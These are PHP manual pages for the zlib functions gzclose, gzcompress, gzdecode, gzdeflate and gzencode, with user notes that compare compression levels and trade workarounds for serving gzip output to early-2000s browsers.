mod_gzip_item_include       handler ^server-status$
mod_gzip_item_include       handler ^server-info$
mod_gzip_item_exclude       mime ^image/.*
</IfModule>

This will automatically compress all output of your files with the .php extention or the x-httpd-php mime type. Be sure to have dechunk set to Yes.
Examples
gzclose
Zlib


Close an open gz-file pointer

Zlib Functions
gzcompress
Zlib Functions
PHP Manual

gzclose

(PHP 4, PHP 5)

gzclose — Close an open gz-file pointer

Description

bool gzclose ( resource $zp )

Closes the given gz-file pointer.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 gzclose() example

<?php
$gz = gzopen('somefile.gz','w9');
gzputs ($gz, 'I was added to somefile.gz');
gzclose($gz);
?>

See Also

  • gzopen() - Open gz-file

User Contributed Notes

There are no user contributed notes for this page.
Zlib Functions
gzcompress
Zlib Functions


Compress a string

gzclose
gzdecode
Zlib Functions
PHP Manual

gzcompress

(PHP 4 >= 4.0.1, PHP 5)

gzcompress — Compress a string

Description

string gzcompress ( string $data [, int $level = -1 ] )

This function compress the given string using the ZLIB data format.

For details on the ZLIB compression algorithm see the document "» ZLIB Compressed Data Format Specification version 3.3" (RFC 1950).

Note:

This is not the same as gzip compression, which includes some header data. See gzencode() for gzip compression.

Parameters

data

The data to compress.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression.

Return Values

The compressed string or FALSE if an error occurred.

Examples

Example #1 gzcompress() example

<?php
$compressed = gzcompress('Compress me', 9);
echo $compressed;
?>

See Also

  • gzdeflate() - Deflate a string
  • gzinflate() - Inflate a deflated string
  • gzuncompress() - Uncompress a compressed string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

Eric 20-Oct-2011 10:10
Did some simple benchmarking of gzcompress() this morning on a lightly-loaded Fedora 12 server with an AMD Phenom II 940 (quad-core) rocking 8 gigs of ram and executing PHP 5.3.2.2 as an Apache module:

Compression benchmark: (level, time, size (%)):
0: 0.000373 - 82.08 kB (100.02%)
1: 0.000914 - 19.61 kB (23.90%)
2: 0.000951 - 18.88 kB (23.01%)
3: 0.000999 - 18.43 kB (22.46%)
4: 0.001498 - 17.65 kB (21.51%)
5: 0.001744 - 17.09 kB (20.82%)
6: 0.002060 - 16.88 kB (20.57%)
7: 0.002233 - 16.85 kB (20.53%)
8: 0.002808 - 16.71 kB (20.36%)
9: 0.002928 - 16.71 kB (20.36%)

The time code evaluates to:
1. Get start microtime
2. Call gzcompress
3. Get end microtime
4. Report average duration of 100 cycles

The 82.08 kB was a copied and pasted string of two actual, PHP-generated pages we use on our intranet. Running some rough calculations, the time it takes to compress the data at level 9 will never be larger than the time it takes to transmit slightly-less compressed data at levels 6 or lower. In other words, in our application, we have no reason not to fully-compress each PHP script's output.
Timo 07-Apr-2009 02:48
With PHP it is quite easy to modify SWF files. The compression algorithm of SWF is Zlib.

SWF default compression level is 6, at least Flash CS2 uses this level. I tested this by uncompressing compressed SWF file and then compressed the contents with levels 0-9. With level 6, the contents of files were identical.

Maybe it can be whatever else, but when trying to compare files at hex level or compare filesizes, it is easier to use the same level.
Samnan 07-Jan-2009 06:34
To properly use gzcompress to send compressed data to browsers that support it (most of modern browsers do, even mobile ones !), use this function (I dont think W3C validator issue mentioned earlier is valid ). use ob_start() at start of your script also

<?php
function print_gzipped_output()
{
    $HTTP_ACCEPT_ENCODING = $_SERVER["HTTP_ACCEPT_ENCODING"];
    if( headers_sent() )
        $encoding = false;
    else if( strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false )
        $encoding = 'x-gzip';
    else if( strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false )
        $encoding = 'gzip';
    else
        $encoding = false;

    if( $encoding )
    {
        $contents = ob_get_clean();
        $_temp1 = strlen($contents);
        if ($_temp1 < 2048)    // no need to waste resources in compressing very little data
            print($contents);
        else
        {
            header('Content-Encoding: '.$encoding);
            print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
            $contents = gzcompress($contents, 9);
            $contents = substr($contents, 0, $_temp1);
            print($contents);
        }
    }
    else
        ob_end_flush();
}
?>
plasma 06-Sep-2008 10:41
Here is a benchmark comparing strengths of bzip and gzip compression:

gz[0] - 1.647ms - 189058 Byte (100%)
gz[1] - 3.333ms - 44572 Byte (23.58%)
gz[2] - 3.519ms - 42685 Byte (22.58%)
gz[3] - 4.713ms - 40840 Byte (21.6%)
gz[4] - 5.274ms - 39111 Byte (20.69%)
gz[5] - 6.526ms - 37039 Byte (19.59%)
gz[6] - 8.036ms - 36206 Byte (19.15%)
gz[7] - 9.098ms - 35940 Byte (19.01%)
gz[8] - 12.87ms - 35713 Byte (18.89%)
gz[9] - 14.319ms - 35707 Byte (18.89%)

bz[1] - 40.282ms - 32247 Byte (17.06%)
bz[2] - 43.716ms - 29690 Byte (15.7%)
bz[3] - 43.765ms - 29690 Byte (15.7%)
bz[4] - 44.213ms - 29690 Byte (15.7%)
bz[5] - 43.704ms - 29690 Byte (15.7%)
bz[6] - 43.814ms - 29690 Byte (15.7%)
bz[7] - 43.934ms - 29690 Byte (15.7%)
bz[8] - 43.725ms - 29690 Byte (15.7%)
bz[9] - 45.129ms - 29690 Byte (15.7%)
prgTW at poczta dot onet dot pl 15-Feb-2006 05:57
I don't know why, but W3C Validator can't validate pages that are GZIP compressed (with functions posted below: gzcompress, pack etc.; not by ob_gzhandler).

Because of this, I use similar code to this below:

<?php
if( strstr($_SERVER['HTTP_USER_AGENT'], 'W3C_Validator')!==false || strstr($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')===false ){
  // do not compress
}else{
  // can send GZIP compressed data
}
?>

This code also checks if user agent is W3C Validator. If it is NOT W3C Validator and user acceptes GZIP encoded data then we can compress the page, in other case if it is W3C Validator or user agent does not accept GZIP enoded data we can't compress the page, 'cause user agent couldn't properly handle it.

Sorry for my bad English
Chris Watt 11-Oct-2005 06:26
Contrary to popular opinion the checksum in the last four bytes of output is not "wrong", it's just not very useful: RFC 1950 s8.2 specifies that the "Adler-32" checksum, not CRC32 should be appended to the compressed data and PHP function follows the RFC (if for no other reason because it uses zlib and Mark Adler was one of the authors thereof). In contrast gzip expects a CRC32 (i.e. it doesn't follow that RFC), and treats the Adler-32 checksum as an incorrect CRC32.

AFAICT there is no simple way to compute the CRC32 directly from the Adler32 checksum.

Personally, my solution was to write a short C program that performs a deflate on, and calculates the CRC32 of, stdin while writing the compressed data (with trailing CRC32 instead of Adler32) on stdout. It's an ugly hack, but it does allow me to  serve a ~1GB compressed output with only a single pass over the uncompressed data and without hitting my 8MB memory limit. In contrast, methods using gzcompress() and crc32() would seem to require a theoretical minimum of three passes across the input data (read into memory, compress, calculate CRC) and 2GB of allocated memory to produce a 1GB compressed output... Short of writing crc32() and deflate() functions from scratch, I couldn't find any way of doing this without either storing the whole output in a variable or resorting to a module in another language.
14-Jun-2005 07:39
If no parameter is given, the default level of 6 is used.

benchmarking the speed:
(compression, datasize, compress time)
0: 37440 (0.002 s)
1: 2537 (0.002 s)
2: 2298 (0.003 s)
3: 2199 (0.003 s)
4: 2299 (0.003 s)
5: 1939 (0.004 s)
6: 1789 (0.004 s)
7: 1724 (0.004 s)
8: 1635 (0.005 s)
9: 1635 (0.005 s)

Level 0 = no compression, then level 1-4 are roughly the fastest to compress with reasonable quality. level 5-7 give better compression but take a little longer and 8-9 take nearly double the time to compress but give best results.

So the system default of 6 is actually a good compromise in speed/size. But for very fast compression times, I go with the threshold value of 3.
gaelreth at gmail dot com 03-May-2005 08:27
There is a useful zipfile class at http://www.zend.com/codex.php?id=696&single=1 that allows you to zip many files into one zip file.
ez at daoldskool dot org 07-Mar-2005 07:20
postmaster at ak-dev dot com & chris at mad-teaparty dot com were both wrong : their function seem to generate a valid file but while decompressing it with pure gnu gzip program on a linux machine i always got a ugly
"gunzip: catalog.xml.gz: unexpected end of file" or
"gunzip: catalog.xml.gz: not in gzip format"

so here is the ULTIMATE gz workaround :

function gzip($data = "", $level = 6, $filename = "", $comments = "")
{
    $flags = (empty($comment)? 0 : 16) + (empty($filename)? 0 : 8);
    $mtime = time();

    return (pack("C1C1C1C1VC1C1", 0x1f, 0x8b, 8, $flags, $mtime, 2, 0xFF) .
                (empty($filename) ? "" : $filename . "\0") .
                (empty($comment) ? "" : $comment . "\0") .
                gzdeflate($data, $level) .
                pack("VV", crc32($data), strlen($data)));
}

coming straight out of the PEAR File_Archive package (http://pear.php.net/package/File_Archive)

i redesign it as a single function if u don't want to use the whole PEAR class for your convenience
dwales at easyetrader dot com 30-Jul-2003 12:48
I find this works well, save the snip below in your php/ directory then edit your prepend.php file and add a require statement that requires the compression.php file below. Once complete watch (tail -f) your php error log to see the results of compression in action.

<?php

// Gzip encode the contents of the output buffer.
function compress_output_option($output)
{
    // Compress the data into a new var.
    $compressed_out = gzencode($output);

    // Don't compress any pages less than 1000 bytes
    // as it's not worth the overhead at either side.
    if(strlen($output) >= 1000)
    {
        error_log('compression.php Gzipd Output'."\n"
                 .'Before compression size '
                 .strlen($output).' bytes'."\n"
                 .' After compression size '
                 .strlen($compressed_out).' bytes');
        // Tell the browser the content is compressed with gzip
        header("Content-Encoding: gzip");
        return $compressed_out;
    }
    else
    {
        // No compression
        error_log('compression.php Standard Output.');
        return $output;
    }
}

// Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip'))
{
    // Start output buffering, and register compress_output() (see
    // below)
    ob_start("compress_output_option");

}
?>
devcontact at tech-island dot com 24-Mar-2003 07:45
The method of first reading the source file and then passing its content to the gzip function instead of simply the source and destination filename was a bit confusing for me.

So I have written a simple funtion you can use to compress files in the gzip format (gzip is readable by winzip like .zip files)

function compress($srcName, $dstName)
{
  $fp = fopen($srcName, "r");
  $data = fread ($fp, filesize($srcName));
  fclose($fp);

  $zp = gzopen($dstName, "w9");
  gzwrite($zp, $data);
  gzclose($zp);
}

// Compress a file
compress("/web/myfile.dat", "/web/myfile.gz");
mail at ciruz dot de 11-Mar-2003 12:59
You should use the crc coz' some linux browsers need it. Some browser won't display anything without crc. My code works with these browsers (tested ;))
chris at mad-teaparty dot com 26-Feb-2003 10:58
little correction of the one above:
the crc is not necessarily needed to display the content in browsers, but it's still useful as a checksum. I suggest that most of the browsers don't check it anyway, otherwise they would not display contents with broken checksums.
Scripts seem to be a little bit faster, you may weigh up advantages with disadvantages (e.g. when you use a secure connection).
chris at mad-teaparty dot com 26-Feb-2003 03:26
It seems that you don't have to pack the crc-checksum and the length of the string. The crucial thing is to erase the last 4 bytes of the gzcompressed content. They seem to be redundant in any case. I rewrote the function "gzDocOut" and I think, it is the most efficient and shortest way to encode an output with gzcompress:

function gzDocOut() {

     if ($encoding = checkCanGzip()) {
       $contents = ob_get_contents();
       ob_end_clean();
       header("Content-Encoding: ". $encoding);
       $output = "\x1f\x8b\x08\x00\x00\x00\x00\x00";
       $output .= substr(gzcompress($contents, 2), 0, -4);
       echo $output;
       exit();
     }
     else {
       ob_end_flush();
       exit();
     }

}

Tested with IE5.5, Netscape 7, Mozilla 1.2, Opera 7, Opera 6 as well as Netscape 4.7. I'll test further browsers to be sure...
orlink at hotmail dot com 03-Jun-2002 12:32
I tried sending a pre-compressed javascript with header("Content-Encoding: gzip") to a request from <script type=javascript src="http://...?op=getscript">.

I have found out so far that IE4 does not support external compressed scripts and stylesheets (that is not embedded in the HTML but included with <script ...src=...> and <link src=...>).  With other versions of IE it works on some computers and not on others even if they have exactly the same versions of IE and Windows.   For instance IE 5.0xxxxxx and Windows 98 Buldxxxx.
If anyones knows of at least one configuration of IE and a OS for which it works for SURE let me know.
postmaster at ak-dev dot com 02-Jun-2002 04:57
Second try! In my mind, the following source code is right with 4.1.2 and higher, and seems to be right with other versions... and its works with all browser I tried(NS 4.7x, mozilla 1.00rc3, IE5.5, opera6.01)...
As it is said in documentation of the function gzencode, you have to use this function, if you want to get the right result! gzcompress doesn't create the right stream output for browsers!(It is explained in gzencode documentation: generated headers are not the same!)

The source code:

<?
  function checkCanGzip() {

      global $HTTP_ACCEPT_ENCODING;

      if (headers_sent()) return 0;
      if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return
"x-gzip";
      if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return
"gzip";
      return 0;

  }

  function gzDocOut() {

      if ($encoding = checkCanGzip()) {
        $contents = ob_get_contents();
        ob_end_clean();
        header("Content-Encoding: ".$encoding);
//        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $contents = gzencode($contents);
//        $contents = substr($contents, 0, strlen($contents) - 4);
        print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', strlen($contents)));
        exit();
      }
      else {
        ob_end_flush();
        exit();
      }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

You have to note, that gzencode is able to generate deflate compression, but the previous source code, does not implemente it. You just have to read gzencode documentation to find this tip.
function gzencode in php 4.2.0 (and higher) allows to use a compression level, it is not possible in loder versions.

The code which is commented, is wrong source code, used, in the different exemple found on this page!
postmaster at ak-dev dot com 01-Jun-2002 07:42
It seems that you don't need anymore to add the crc and the size at the end of the stream, it works fairly with php4.06! I don't have tried for the moment with highest version than php 4.06.
The source code:

<?
  function checkCanGzip() {

      global $HTTP_ACCEPT_ENCODING;

      if (headers_sent()) return 0;
      if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return "x-gzip";
      if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return "gzip";
      return 0;

  }

  function gzDocOut() {

      if ($encoding = checkCanGzip()) {
        $contents = ob_get_contents();
        ob_end_clean();
        header("Content-Encoding: ".$encoding);
        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
        $size = strlen($contents);
        $contents = gzcompress($contents, 9);
        $contents = substr($contents, 0, $size);
        print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', $size));
        exit();
      }
      else {
        ob_end_flush();
        exit();
      }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

For the  moment, I have only tried on IE5.5, and it works well.
Effectively, with the crc and the size at the end of gile, it doesn't work!
rostor at swzone dot org 18-Sep-2001 05:04
To solve I.E.5.x data compress problem on IIS5, such opening a download dial box or wrong page load, the only way for me was to change the header content type:

<? header("Content-type: gzip");ob_start ("ob_gzhandler");?>

but now all browser that doesn't support gzip don't load the page.
webmaster at mail.bg 01-Aug-2001 03:40
When you compress your data IE (5.x for sure, no idea about Netscape) may mess up the mime headers, so you may e.g. loose your extensions after compressing output. In my case in attachment saving with no compression everything works fine. When I compress output everything seems OK except I loose the file extension (althogh it really is in the headers). This is because IE seems to think your attachment is mimetype gzip, and not what you send in the headers that follow.

In such cases the easiest sollution would be to disable compression (maybe partially with an .htaccess file?).
gvirgo at mithril dot com 01-Jan-2001 11:14
>>Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support
>>gz-compression. Email me if you want to know more.

As a matter of fact, Netscape 4.7x on Win32 DOES support gz-compression.  Calling the following script in my auto_prepend directive seems to work fine.  The script is taken from the Output Buffering article on Zend.com (http://www.zend.com/zend/art/buffering.php).  As noted in the article, it only works with PHP 4.0.4 and higher.

<?php

        // function to compress the output buffer in preparation for transmission to client
    function compress_output($output) {

            // compress and return the output buffer
        return gzencode($output);
    }

        // Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
    if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip')) {

            // Start output buffering, and register compress_output()
        ob_start("compress_output");

            // Tell the browser the content is compressed with gzip
        header("Content-Encoding: gzip");
    }

?>
fil at rezox dot com 20-Dec-2000 06:15
GZ-compression works perfectly for html content sent to IE5/IE5.5/Netscape6 browsers. I even compress the <script src='javascriptstuff'> javascript code. It speeds throughput immensely: best case so far 160k html file --> 8k gzip sent.

Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support gz-compression. Email me if you want to know more.
ck at newsclub dot de 28-Sep-2000 12:25
Ah right, I did not realize it because my browsers (Acorn Browse on RISC OS and Netscape on Windows) don't make problems at all.

Anyway, you can replace your function "gzip_PrintFourChars"
with "echo pack("V",$Crc)".
@boas.anthro.mnsu.edu 26-Sep-2000 11:30
No, it doesn't return gzip compressed data -- specifically, the CRC is messed up.  However, after massaging the output a lot, I have come up with a solution.  I also commented it a lot, pointing out odd things.

<?php
// Start the output buffer
ob_start();
ob_implicit_flush(0);

// Output stuff here...

// Get the contents of the output buffer
$contents = ob_get_contents();
ob_end_clean();

// Tell the browser that they are going to get gzip data
// Of course, you already checked if they support gzip or x-gzip
// and if they support x-gzip, you'd change the header to say
// x-gzip instead, right?
header("Content-Encoding: gzip");

// Display the header of the gzip file
// Thanks ck@medienkombinat.de!
// Only display this once
echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";

// Figure out the size and CRC of the original for later
$Size = strlen($contents);
$Crc = crc32($contents);

// Compress the data
$contents = gzcompress($contents, 9);

// We can't just output it here, since the CRC is messed up.
// If I try to "echo $contents" at this point, the compressed
// data is sent, but not completely.  There are four bytes at
// the end that are a CRC.  Three are sent.  The last one is
// left in limbo.  Also, if we "echo $contents", then the next
// byte we echo will not be sent to the client.  I am not sure
// if this is a bug in 4.0.2 or not, but the best way to avoid
// this is to put the correct CRC at the end of the compressed
// data.  (The one generated by gzcompress looks WAY wrong.)
// This will stop Opera from crashing, gunzip will work, and
// other browsers won't keep loading indefinately.
//
// Strip off the old CRC (it's there, but it won't be displayed
// all the way -- very odd)
$contents = substr($contents, 0, strlen($contents) - 4);

// Show only the compressed data
echo $contents;

// Output the CRC, then the size of the original
gzip_PrintFourChars($Crc);
gzip_PrintFourChars($Size);

// Done.  You can append further data by gzcompressing
// another string and reworking the CRC and Size stuff for
// it too.  Repeat until done.

function gzip_PrintFourChars($Val)
{
    for ($i = 0; $i < 4; $i ++)
    {
        echo chr($Val % 256);
        $Val = floor($Val / 256);
    }
}
?>
gzclose
gzdecode
Zlib Functions


Decodes a gzip compressed string

gzcompress
gzdeflate
Zlib Functions
PHP Manual

gzdecode

(No version information available, might only be in SVN)

gzdecode — Decodes a gzip compressed string

Description

string gzdecode ( string $data [, int $length ] )

This function returns a decoded version of the input data.

Parameters

data

The data to decode, encoded by gzencode().

length

The maximum length of data to decode.

Return Values

The decoded string, or FALSE if an error occurred.

See Also

  • gzencode() - Create a gzip compressed string

User Contributed Notes

tomas at slax dot org 05-Nov-2011 04:25
I don't have any deep knowledge in compression algorithms and formats, so I have no idea if this works the same on all platforms. But by several experiments on my Linux box I found how to get gzdecoded data without temporary files. Here it is:

<?php
function gzdecode($data)
{
   return gzinflate(substr($data,10,-8));
}
?>

That's it. Simply strip header and footer bytes and you get raw deflated data for inflation.
6869hlopcik at inbox dot lv 28-Sep-2011 03:30
Windows compitable with auto delete temp file.

<?php
function softcoded_gzdecode($data){
    $g=tempnam('./','gz');
    file_put_contents($g,$data);
    ob_start();
    readgzfile($g);
    $d=ob_get_clean();
    unlink($g);
    return $d;
}
?>
webmaster at askapache dot com 02-Jul-2008 02:32
I have used this simple function to gzdecode gzipped files downloaded from the web.

<?php

function gzdecode($data){
  $g=tempnam('/tmp','ff');
  @file_put_contents($g,$data);
  ob_start();
  readgzfile($g);
  $d=ob_get_clean();
  return $d;
}

?>
katzlbtjunk at hotmail dot com 02-May-2008 07:15
3 more bugs found and fixed:
1. failed to work when the gz contained a filename - FIXED
2. failed to work on 64-bit architecture (checksum) - FIXED
3. failed to work when the gz contained a comment - cannot verify.
Returns some errors (not all!) and filename.
<?php function gzdecode($data,&$filename='',&$error='',$maxlength=null)
{
    $len = strlen($data);
    if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
        $error = "Not in GZIP format.";
        return null;  // Not GZIP format (See RFC 1952)
    }
    $method = ord(substr($data,2,1));  // Compression method
    $flags  = ord(substr($data,3,1));  // Flags
    if ($flags & 31 != $flags) {
        $error = "Reserved bits not allowed.";
        return null;
    }
    // NOTE: $mtime may be negative (PHP integer limitations)
    $mtime = unpack("V", substr($data,4,4));
    $mtime = $mtime[1];
    $xfl   = substr($data,8,1);
    $os    = substr($data,8,1);
    $headerlen = 10;
    $extralen  = 0;
    $extra     = "";
    if ($flags & 4) {
        // 2-byte length prefixed EXTRA data in header
        if ($len - $headerlen - 2 < 8) {
            return false;  // invalid
        }
        $extralen = unpack("v",substr($data,8,2));
        $extralen = $extralen[1];
        if ($len - $headerlen - 2 - $extralen < 8) {
            return false;  // invalid
        }
        $extra = substr($data,10,$extralen);
        $headerlen += 2 + $extralen;
    }
    $filenamelen = 0;
    $filename = "";
    if ($flags & 8) {
        // C-style string
        if ($len - $headerlen - 1 < 8) {
            return false; // invalid
        }
        $filenamelen = strpos(substr($data,$headerlen),chr(0));
        if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
            return false; // invalid
        }
        $filename = substr($data,$headerlen,$filenamelen);
        $headerlen += $filenamelen + 1;
    }
    $commentlen = 0;
    $comment = "";
    if ($flags & 16) {
        // C-style string COMMENT data in header
        if ($len - $headerlen - 1 < 8) {
            return false;    // invalid
        }
        $commentlen = strpos(substr($data,$headerlen),chr(0));
        if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
            return false;    // Invalid header format
        }
        $comment = substr($data,$headerlen,$commentlen);
        $headerlen += $commentlen + 1;
    }
    $headercrc = "";
    if ($flags & 2) {
        // 2-bytes (lowest order) of CRC32 on header present
        if ($len - $headerlen - 2 < 8) {
            return false;    // invalid
        }
        $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
        $headercrc = unpack("v", substr($data,$headerlen,2));
        $headercrc = $headercrc[1];
        if ($headercrc != $calccrc) {
            $error = "Header checksum failed.";
            return false;    // Bad header CRC
        }
        $headerlen += 2;
    }
    // GZIP FOOTER
    $datacrc = unpack("V",substr($data,-8,4));
    $datacrc = sprintf('%u',$datacrc[1] & 0xFFFFFFFF);
    $isize = unpack("V",substr($data,-4));
    $isize = $isize[1];
    // decompression:
    $bodylen = $len-$headerlen-8;
    if ($bodylen < 1) {
        // IMPLEMENTATION BUG!
        return null;
    }
    $body = substr($data,$headerlen,$bodylen);
    $data = "";
    if ($bodylen > 0) {
        switch ($method) {
        case 8:
            // Currently the only supported compression method:
            $data = gzinflate($body,$maxlength);
            break;
        default:
            $error = "Unknown compression method.";
            return false;
        }
    }  // zero-byte body content is allowed
    // Verifiy CRC32
    $crc   = sprintf("%u",crc32($data));
    $crcOK = $crc == $datacrc;
    $lenOK = $isize == strlen($data);
    if (!$lenOK || !$crcOK) {
        $error = ( $lenOK ? '' : 'Length check FAILED. ') . ( $crcOK ? '' : 'Checksum FAILED.');
        return false;
    }
    return $data;
}
?>
katzlbtjunk at hotmail dot com 30-Apr-2008 01:51
Aaron G. 07-Aug-2004 03:29 posted the function gzdecode()
to gzencode comments. I FIXED the BUG: if($flags & 1) to the correct if($flags & 2)

Unfortunately the function gzencode() does NOT append a CRC so I did not notice until I tried to upload a file compressed with gzip itself.

<?php

function gzdecode($data) {
  $len = strlen($data);
  if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
    return null;  // Not GZIP format (See RFC 1952)
  }
  $method = ord(substr($data,2,1));  // Compression method
  $flags  = ord(substr($data,3,1));  // Flags
  if ($flags & 31 != $flags) {
    // Reserved bits are set -- NOT ALLOWED by RFC 1952
    return null;
  }
  // NOTE: $mtime may be negative (PHP integer limitations)
  $mtime = unpack("V", substr($data,4,4));
  $mtime = $mtime[1];
  $xfl   = substr($data,8,1);
  $os    = substr($data,8,1);
  $headerlen = 10;
  $extralen  = 0;
  $extra     = "";
  if ($flags & 4) {
    // 2-byte length prefixed EXTRA data in header
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $extralen = unpack("v",substr($data,8,2));
    $extralen = $extralen[1];
    if ($len - $headerlen - 2 - $extralen < 8) {
      return false;    // Invalid format
    }
    $extra = substr($data,10,$extralen);
    $headerlen += 2 + $extralen;
  }

  $filenamelen = 0;
  $filename = "";
  if ($flags & 8) {
    // C-style string file NAME data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $filenamelen = strpos(substr($data,8+$extralen),chr(0));
    if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
      return false;    // Invalid format
    }
    $filename = substr($data,$headerlen,$filenamelen);
    $headerlen += $filenamelen + 1;
  }

  $commentlen = 0;
  $comment = "";
  if ($flags & 16) {
    // C-style string COMMENT data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $commentlen = strpos(substr($data,8+$extralen+$filenamelen),chr(0));
    if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
      return false;    // Invalid header format
    }
    $comment = substr($data,$headerlen,$commentlen);
    $headerlen += $commentlen + 1;
  }

  $headercrc = "";
  if ($flags & 2) {
    // 2-bytes (lowest order) of CRC32 on header present
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
    $headercrc = unpack("v", substr($data,$headerlen,2));
    $headercrc = $headercrc[1];
    if ($headercrc != $calccrc) {
      return false;    // Bad header CRC
    }
    $headerlen += 2;
  }

  // GZIP FOOTER - These be negative due to PHP's limitations
  $datacrc = unpack("V",substr($data,-8,4));
  $datacrc = $datacrc[1];
  $isize = unpack("V",substr($data,-4));
  $isize = $isize[1];

  // Perform the decompression:
  $bodylen = $len-$headerlen-8;
  if ($bodylen < 1) {
    // This should never happen - IMPLEMENTATION BUG!
    return null;
  }
  $body = substr($data,$headerlen,$bodylen);
  $data = "";
  if ($bodylen > 0) {
    switch ($method) {
      case 8:
        // Currently the only supported compression method:
        $data = gzinflate($body);
        break;
      default:
        // Unknown compression method
        return false;
    }
  } else {
    // I'm not sure if zero-byte body content is allowed.
    // Allow it for now...  Do nothing...
  }

  // Verifiy decompressed size and CRC32:
  // NOTE: This may fail with large data sizes depending on how
  //       PHP's integer limitations affect strlen() since $isize
  //       may be negative for large sizes.
  if ($isize != strlen($data) || crc32($data) != $datacrc) {
    // Bad format!  Length or CRC doesn't match!
    return false;
  }
  return $data;
}

?>
TheSeoDude 29-Aug-2007 01:43
This function is not found in any of the PHP distribution I use and used so had to figure out a replacement in order to extract and process my server's raw logs automagically.

Check it here http://www.tellinya.com/art2/83/gzdecode . Just a function to extract gzencoded data and hope it helps any1.
gzcompress
gzdeflate
Zlib Functions


Deflate a string

gzdecode
gzencode
Zlib Functions
PHP Manual

gzdeflate

(PHP 4 >= 4.0.4, PHP 5)

gzdeflate — Deflate a string

Description

string gzdeflate ( string $data [, int $level = -1 ] )

This function compress the given string using the DEFLATE data format.

For details on the DEFLATE compression algorithm see the document "» DEFLATE Compressed Data Format Specification version 1.3" (RFC 1951).

Parameters

data

The data to deflate.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression. If not given, the default compression level will be the default compression level of the zlib library.

Return Values

The deflated string or FALSE if an error occurred.

Examples

Example #1 gzdeflate() example

<?php
$compressed = gzdeflate('Compress me', 9);
echo $compressed;
?>

See Also

  • gzinflate() - Inflate a deflated string
  • gzcompress() - Compress a string
  • gzuncompress() - Uncompress a compressed string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

robin 26-Feb-2010 05:46
running 50000 repetitions on various content, i found that gzdeflate() and gzcompress() both performed equally fast regardless content and compression level, but gzinflate() was always about twice as fast as gzuncompress().
anonymous at php dot net 04-Jun-2009 05:20
gzcompress produces longer data because it embeds information about the encoding onto the string. If you are compressing data that will only ever be handled on one machine, then you don't need to worry about which of these functions you use. However, if you are passing data compressed with these functions to a different machine you should use gzcompress.
tomas at slax dot org 03-Oct-2008 05:13
gzcompress() is the same like gzdefflate(), it produces identical data and its speed is the same as well. The only difference is that gzcompress produces 6 bytes bigger result (2 extra bytes at the beginning and 4 extra bytes at the end).
romain dot lalaut at laposte dot net 08-Oct-2007 07:20
@ giunta dot gaetano at sea-aeroportimilano dot it
No, gzdeflate() implements rfc1951.
And rf2616 (http 1.1 specs) says "deflate : The "zlib" format defined in RFC 1950 [31] in combination with the "deflate" compression mechanism described in RFC 1951 [29]."
giunta dot gaetano at sea-aeroportimilano dot it 21-Aug-2006 05:22
Take care that that "PHP deflate" != "HTTP deflate".

The deflate encoding used in HTTP is actually zlib encoded.

This is what PHP functions return:
gzencode() == gzip
gzcompress() == zlib (aka. HTTP deflate)
gzdeflate()  == *raw* deflate encoding
denis dot noessler at red-at dot de 17-Jun-2003 03:26
if you have compressed data which is greater than 2 MB (system dependent), you will receive a buffer error by calling the function gzinflate().
be sure to to compress your data by a lower compression level, like 1.
i.e.: gzdeflate($sData, 1);
gzdecode
gzencode
Zlib Functions


Create a gzip compressed string

gzdeflate
gzeof
Zlib Functions
PHP Manual

gzencode

(PHP 4 >= 4.0.4, PHP 5)

gzencode — Create a gzip compressed string

Description

string gzencode ( string $data [, int $level = -1 [, int $encoding_mode = FORCE_GZIP ]] )

This function returns a compressed version of the input data compatible with the output of the gzip program.

For more information on the GZIP file format, see the document: » GZIP file format specification version 4.3 (RFC 1952).

Parameters

data

The data to encode.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression. If not given, the default compression level will be the default compression level of the zlib library.

encoding_mode

The encoding mode. Can be FORCE_GZIP (the default) or FORCE_DEFLATE.

If you use FORCE_DEFLATE, you get a standard zlib deflated string (inclusive zlib headers) after the gzip file header but without the trailing crc32 checksum.

Return Values

The encoded string, or FALSE if an error occurred.

Changelog

Version | Description
4.2.0 | The encoding_mode parameter was added

Examples

